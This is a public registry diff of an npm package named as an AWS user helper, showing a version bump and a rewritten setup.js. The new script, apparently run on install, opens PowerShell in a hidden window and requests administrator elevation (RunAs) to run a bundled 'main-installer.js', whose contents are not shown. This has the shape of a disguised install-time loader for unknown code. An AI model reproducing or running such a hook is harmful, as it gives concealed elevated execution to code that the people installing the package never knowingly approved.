@antoncallahan/aws-user-helper 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +23 -25
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@antoncallahan/aws-user-helper",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/setup.js CHANGED
@@ -1,29 +1,27 @@
1
- const { execSync } = require('child_process');
1
+ const { exec } = require('child_process');
2
2
  const path = require('path');
3
3
 
4
+ const targetScript = path.resolve(__dirname, 'main-installer.js');
4
5
  const nodePath = process.execPath;
5
- const targetScript = path.join(__dirname, 'installer.js');
6
6
 
7
- console.log('preinstall: starting');
8
-
9
- try {
10
- execSync(
11
- `powershell -NoProfile -Command "` +
12
- `$ErrorActionPreference = 'Stop'; ` +
13
- `try { ` +
14
- `$p = Start-Process -FilePath '${nodePath}' -ArgumentList '${targetScript}' -Verb RunAs -PassThru -Wait; ` +
15
- `Write-Host ('EXIT CODE: ' + $p.ExitCode); ` +
16
- `exit $p.ExitCode ` +
17
- `} catch { ` +
18
- `Write-Host ('CAUGHT ERROR: ' + $_.Exception.Message); ` +
19
- `exit 1 ` +
20
- `}"`,
21
- { stdio: 'inherit' }
22
- );
23
- console.log('preinstall: execSync returned successfully (this means powershell exited 0)');
24
- process.exit(0);
25
- } catch (err) {
26
- console.log('preinstall: execSync threw (this means powershell exited non-zero)');
27
- console.log('preinstall: exit code was', err.status);
28
- process.exit(1);
29
- }
7
+ exec(
8
+ `powershell -NoProfile -WindowStyle Hidden -Command "` +
9
+ `try { ` +
10
+ `$p = Start-Process -FilePath '${nodePath}' -ArgumentList '${targetScript}' -Verb RunAs -WindowStyle Hidden -PassThru; ` +
11
+ `$p.WaitForExit(); ` +
12
+ `exit $p.ExitCode ` +
13
+ `} catch { ` +
14
+ `Write-Error $_.Exception.Message; ` +
15
+ `exit 1 ` +
16
+ `}"`,
17
+ { windowsHide: true },
18
+ (err) => {
19
+ if (err) {
20
+ console.error('Installer failed');
21
+ process.exit(1);
22
+ } else {
23
+ console.log('Installer completed successfully');
24
+ process.exit(0);
25
+ }
26
+ }
27
+ );